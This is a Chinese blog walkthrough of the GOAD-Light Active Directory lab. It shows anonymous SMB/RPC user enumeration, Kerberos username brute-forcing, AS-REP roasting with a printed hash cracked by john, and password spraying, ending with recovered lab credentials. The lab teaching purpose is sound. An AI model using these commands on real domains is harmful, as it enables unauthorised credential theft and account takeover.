GOAD-Light-Part2-用户发现

GOAD-Light_schema

匿名枚举DC

某些旧的或配置错误的 AD 允许匿名用户(Null Session)通过 IPC$ 管道查询用户列表或密码策略。

CME

1
crackmapexec smb 192.168.56.11 --users

image-20260120231730564

我们通过描述获取一些用户,并获得第一个密码samwell.tarly:Heartsbane

还可以获取密码策略

1
crackmapexec smb 192.168.56.11 --pass-pol

image-20260120232012847

如果在 5 分钟内输入错误密码 5 次,则账户将被锁定 5 分钟。

enum4linux

1
enum4linux 192.168.56.11

获取了用户列表,和cme一样

image-20260120232230575

还有密码策略

image-20260120232248421

还可以通过枚举域组的成员来获取完整的域用户列表

image-20260120232314375

RPC 调用

匿名列表是通过对 winterfell (192.168.56.11) 进行远程过程调用完成的,因此我们也可以直接使用 rpcclient 来完成此操作

1
rpcclient -U "NORTH\\" 192.168.56.11 -N

image-20260120232553998

获取所有域用户

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(root㉿kali)-[/home/kali] 
└─# net rpc group members 'Domain Users' -W 'NORTH' -I '192.168.56.11' -U '%'
NORTH\Administrator
NORTH\vagrant
NORTH\krbtgt
NORTH\SEVENKINGDOMS$
NORTH\arya.stark
NORTH\eddard.stark
NORTH\catelyn.stark
NORTH\robb.stark
NORTH\sansa.stark
NORTH\brandon.stark
NORTH\rickon.stark
NORTH\hodor
NORTH\jon.snow
NORTH\samwell.tarly
NORTH\jeor.mormont
NORTH\sql_svc

Kerberos Pre-Authentication

Winterfell域控制器允许匿名连接,这就是我们能够列出域用户和组的原因。但如今这种配置几乎绝迹了。

首先创建一个用户列表

1
curl -s https://www.hbo.com/game-of-thrones/cast-and-crew | grep 'href="/game-of-thrones/cast-and-crew/'| grep -o 'aria-label="[^"]*"' | cut -d '"' -f 2 | awk '{if($2 == "") {print tolower($1)} else {print tolower($1) "." tolower($2);} }' > got_users.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
robert.baratheon
tyrion.lannister
cersei.lannister
catelyn.stark
jaime.lannister
daenerys.targaryen
viserys.targaryen
jon.snow
robb.stark
sansa.stark
arya.stark
bran.stark
rickon.stark
joffrey.baratheon
jorah.mormont
theon.greyjoy
samwell.tarly
renly.baratheon
ros
jeor.mormont
gendry
lysa.arryn
robin.arryn
bronn
grand.maester
varys
loras.tyrell
shae
benjen.stark
barristan.selmy
khal.drogo
hodor
lancel.lannister
maester.luwin
alliser.thorne
osha
maester.aemon
talisa.stark
brienne.of
davos.seaworth
tywin.lannister
stannis.baratheon
margaery.tyrell
ygritte
balon.greyjoy
roose.bolton
gilly
podrick.payne
melisandre
yara.greyjoy
jaqen.h’ghar
grey.worm
beric.dondarrion
missandei
mance.rayder
tormund
ramsay.snow
olenna.tyrell
thoros.of
orell
qyburn
brynden.tully
tommen.baratheon
daario.naharis
oberyn.martell
myrcella.baratheon
obara.sand
nym.sand
tyene.sand
high.sparrow
trystane.martell
doran.martell
euron.greyjoy
lady.crane
high.priestess
randyll.tarly
izembaro
brother.ray
archmaester.ebrose

使用nmap在kingslanding.sevenkingdoms.local 上测试

1
2
3
4
5
6
7
8
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='sevenkingdoms.local',userdb=got_users.txt" 192.168.56.10

--script=krb5-enum-users: 使用 Nmap 的名为 krb5-enum-users 的脚本。
--script-args="...": 为脚本提供参数。
krb5-enum-users.realm='sevenkingdoms.local': 指定要枚举的 Kerberos 领域(域名),这里是主域 sevenkingdoms.local。
userdb=got_users.txt: 指定一个包含猜测用户名的文本文件(got_users.txt)。脚本会读取这个文件,向目标的 Kerberos 服务(88端口)逐一询问这些用户名是否存在。

通过暴力查询可能的用户名来发现有效的用户名,查询对象为 Kerberos 服务。当请求无效用户名时,服务器将返回 Kerberos 错误代码 KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN,从而确定该用户名无效。有效的用户名将导致 AS-REP 响应中包含 TGT 或错误代码 KRB5KDC_ERR_PREAUTH_REQUIRED,表明该用户需要进行预身份验证。
1
2
3
4
5
6
7
8
9
10
11
12
PORT   STATE SERVICE   
88/tcp open kerberos-sec
| krb5-enum-users:
| Discovered Kerberos principals
| joffrey.baratheon@sevenkingdoms.local
| jaime.lannister@sevenkingdoms.local
| robert.baratheon@sevenkingdoms.local
| tywin.lannister@sevenkingdoms.local
| stannis.baratheon@sevenkingdoms.local
| cersei.lannister@sevenkingdoms.local
|_ renly.baratheon@sevenkingdoms.local
MAC Address: 08:00:27:BD:E5:9F (Oracle VirtualBox virtual NIC)

得到7位有效用户

使用nmap在north.sevenkingdoms.local 上测试

1
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='north.sevenkingdoms.local',userdb=got_users.txt" 192.168.56.11 -Pn
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PORT   STATE SERVICE
88/tcp open kerberos-sec
| krb5-enum-users:
| Discovered Kerberos principals
| jeor.mormont@north.sevenkingdoms.local
| robb.stark@north.sevenkingdoms.local
| sansa.stark@north.sevenkingdoms.local
| hodor@north.sevenkingdoms.local
| jon.snow@north.sevenkingdoms.local
| catelyn.stark@north.sevenkingdoms.local
| rickon.stark@north.sevenkingdoms.local
| arya.stark@north.sevenkingdoms.local
|_ samwell.tarly@north.sevenkingdoms.local
MAC Address: 08:00:27:0C:46:BA (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds

smb共享访问

1
cme smb 192.168.56.10-23 -u 'a' -p '' --shares

我们发现一些具有R/W权限的匿名共享

image-20260120234137577

获取用户凭据

AS-REP Roasting

我们创建一个名为 users.txt 的文件,其中包含之前在 north.sevenkingdoms.local 以及sevenkingdoms.local上找到的所有用户名:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Administrator
arya.stark
brandon.stark
catelyn.stark
eddard.stark
Guest
hodor
jeor.mormont
jon.snow
krbtgt
rickon.stark
robb.stark
samwell.tarly
sansa.stark
sql_svc
vagrant

现在我们可以尝试使用 impacket工具包里的GetNPUsers.py 对所有用户进行 AS-REP Roasting:

1
impacket-GetNPUsers north.sevenkingdoms.local/ -no-pass -usersfile users.txt 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(root㉿kali)-[/home/kali]                                             
└─# impacket-GetNPUsers north.sevenkingdoms.local/ -no-pass -usersfile users.txt
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[-] User sql_svc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jeor.mormont doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User samwell.tarly doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jon.snow doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User hodor doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User rickon.stark doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$brandon.stark@NORTH.SEVENKINGDOMS.LOCAL:6daf263d2747c443159fa1af3c7ac95f$6b5e68191fe2b4014f2c2d584c3d58c583aacdb276e3b6151dbf674205901e7ef9e18b65033b7bbae1f03d292c649dd8a25
7c7355341bd4b2de4a5738227bd642ea5027c3fbe8db1e4af699db6a62b4ef02cd61033be90166a26ba75036912360e6e988fdf662deba142a7ddde16be600e206b92564569cbaa74fb8032ab967d1f05d61bfd915313f08a06b2f3f73
ff56d25ab12b66edeb8fb1d50293cc993e5553114cacdb0b17cf8fba84aa58e2281a49dd26db865c9154904afeb88d1e5065d843d0c0695768be500236edc2bcd6725feea9f193520b138795cfea21678bb727c7d7fd08e2209d4678ca
d5387e70eeee58845c3d3d171df65a6573f112091318feb7c928b
[-] User sansa.stark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User robb.stark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User catelyn.stark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User eddard.stark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User arya.stark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set

我们获得了brandon.stark 的凭据,该域用户账户(brandon.stark)在 Active Directory 中被管理员配置了 DONT_REQ_PREAUTH 这个特殊的账户属性标志,所以不需要 Kerberos 预身份验证

正常情况

当用户登录时:

  1. 客户端向域控制器发送 TGT 请求
  2. 域控制器回复:“请先证明你知道密码”(要求预认证)
  3. 客户端用密码加密时间戳并发送
  4. 域控制器验证成功后才返回 TGT

预身份验证关闭

当用户设置了 DONT_REQ_PREAUTH 标志时:

  1. 客户端向域控制器发送 TGT 请求
  2. 域控制器直接返回用用户密码加密的 TGT,不要求证明密码
  3. 任何人只要知道用户名就能获取这个加密的 TGT

尝试破解它

1
john --wordlist=/usr/share/wordlists/rockyou.txt asrephash --format=krb5asrep

image-20260121000932224

找到密码iseedeadpeople

我们现在有两对凭证:

  • samwell.tarly:Heartsbane
  • brandon.stark:iseedeadpeople

密码喷洒

我们可以尝试经典的用户名=密码测试。

1
2
crackmapexec smb 192.168.56.11 -u users.txt -p users.txt --no-bruteforce
crackmapexec smb 192.168.56.10 -u users.txt -p users.txt --no-bruteforce
1
2
SMB         192.168.56.11   445    WINTERFELL       [+] north.sevenkingdoms.local\hodor:hodor 
SMB 192.168.56.10 445 KINGSLANDING [+] sevenkingdoms.local\vagrant:vagrant (Pwn3d!)

又得到两对凭据hodor:hodor vagrant:vagrant

总结

现在得到四组用户凭据

  • north.sevenkingdoms.local\samwell.tarly:Heartsbane(用户描述)
  • north.sevenkingdoms.local\brandon.stark:iseedeadpeople(AS-REP Roasting)
  • north.sevenkingdoms.local\hodor:hodor(密码喷洒)
  • sevenkingdoms.local\vagrant:vagrant(密码喷洒)

GOAD-Light-Part2-用户发现
http://xiaowu5.cn/2026/01/21/GOAD-Light-Part2-用户发现/
作者
5
发布于
2026年1月21日
许可协议
BY XIAOWU